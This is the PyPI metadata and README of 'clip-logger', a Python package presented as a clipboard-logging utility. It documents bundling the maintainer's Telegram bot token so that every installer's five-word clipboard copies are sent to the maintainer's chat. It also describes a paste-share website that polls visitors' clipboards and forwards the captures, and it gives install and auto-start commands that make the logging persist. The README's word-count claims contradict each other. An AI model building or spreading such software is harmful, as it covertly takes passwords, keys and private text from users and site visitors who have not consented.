Metadata-Version: 2.4
Name: clip-logger
Version: 1.1.2
Summary: Background Windows clipboard logger — records copies of exactly N words
Author: clip-logger contributors
License-Expression: MIT
Keywords: clipboard,logger,windows,telegram,monitor
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Operating System :: Microsoft :: Windows
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: System :: Monitoring
Classifier: Topic :: Utilities
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# clip_logger

Logs whenever **exactly 5 words** are copied to the clipboard.

Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
catches anything you copy in Windows apps or in the WSL terminal.

## Install

**For all users (PyPI):**

```bash
pip install clip-logger
```

**From source (developers):**

```bash
pip install .
# or editable:
pip install -e .
```

That installs the **`clip-logger`** command. No other setup required.

See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.

### Telegram — one token for all users

**Maintainer (you)** — put the bot token in `keygen/.env`, then before each PyPI upload:

```bash
python scripts/prepare_pypi_release.py
python -m build && twine upload dist/*
```

That bundles your token into the package. **Pip users do nothing** — they just:

```bash
pip install clip-logger
clip-logger install
```

All 5-word copies from every user go to **your** Telegram chat.

**Website server** — same `keygen/.env` is used when visitors use the monitor site.

### After install (per-user local daemon)

| OS | Config & logs |
|----|----------------|
| **Windows** | `%APPDATA%\clip-logger\` |
| **Linux / WSL** | `~/.config/clip-logger/` |

## Use

```bash
clip-logger start               # run in background
clip-logger status              # running? auto-start? log path?
clip-logger tail                # last 10 logged copies
clip-logger stop                # stop daemon
clip-logger install             # auto-start on login / after reboot
clip-logger uninstall           # remove auto-start
```

Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`

## Auto-start (no manual `start` each time)

| Method | When it runs | Setup |
|--------|----------------|-------|
| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |

```bash
# Option A: starts when paste-share server starts (default)
cd paste-share && python3 app.py

# Option B: starts on every login / after reboot
clip-logger install      # Windows: Task Scheduler | WSL/Linux: systemd
clip-logger uninstall      # remove later
```

**Windows (native):**

```bat
pip install .
clip-logger install
clip-logger status
```

All methods are idempotent — if clip_logger is already running, `start` is a
no-op.

### Paste-to-share integration

When a visitor allows clipboard access on the paste-share site:

1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.

`clip-logger read` / `start` remain for local CLI and the server-host daemon.
Visitor captures use `log` — no install on the visitor's machine.

## What gets logged

Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:

```json
{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
```

Only copies whose content **changes** and has **exactly 5 words** are recorded.

## Setup (.env)

Copy `.env.example` to `.env` and fill it in:

```
TELEGRAM_BOT_TOKEN=123456:ABC-your-token
TELEGRAM_CHAT_ID=987654321
WORD_THRESHOLD=5
POLL_SECONDS=2.0
```

Getting the Telegram values:

1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
2. Send your new bot any message (e.g. "hi").
3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
   the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.

If the token/chat id are blank, it still logs to file — it just skips
sending Telegram messages.

## Telegram message

On each qualifying copy you'll receive:

```
📋 Clipboard (6 words)
2026-06-05T13:19:45-07:00

alpha beta gamma delta epsilon zeta
```

## Settings

- `WORD_THRESHOLD` — minimum word count to log (default `5`)
- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)

## Note

The log stores the **full copied text**, which can include sensitive data
(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
keep that in mind, and delete it when you don't need the history.
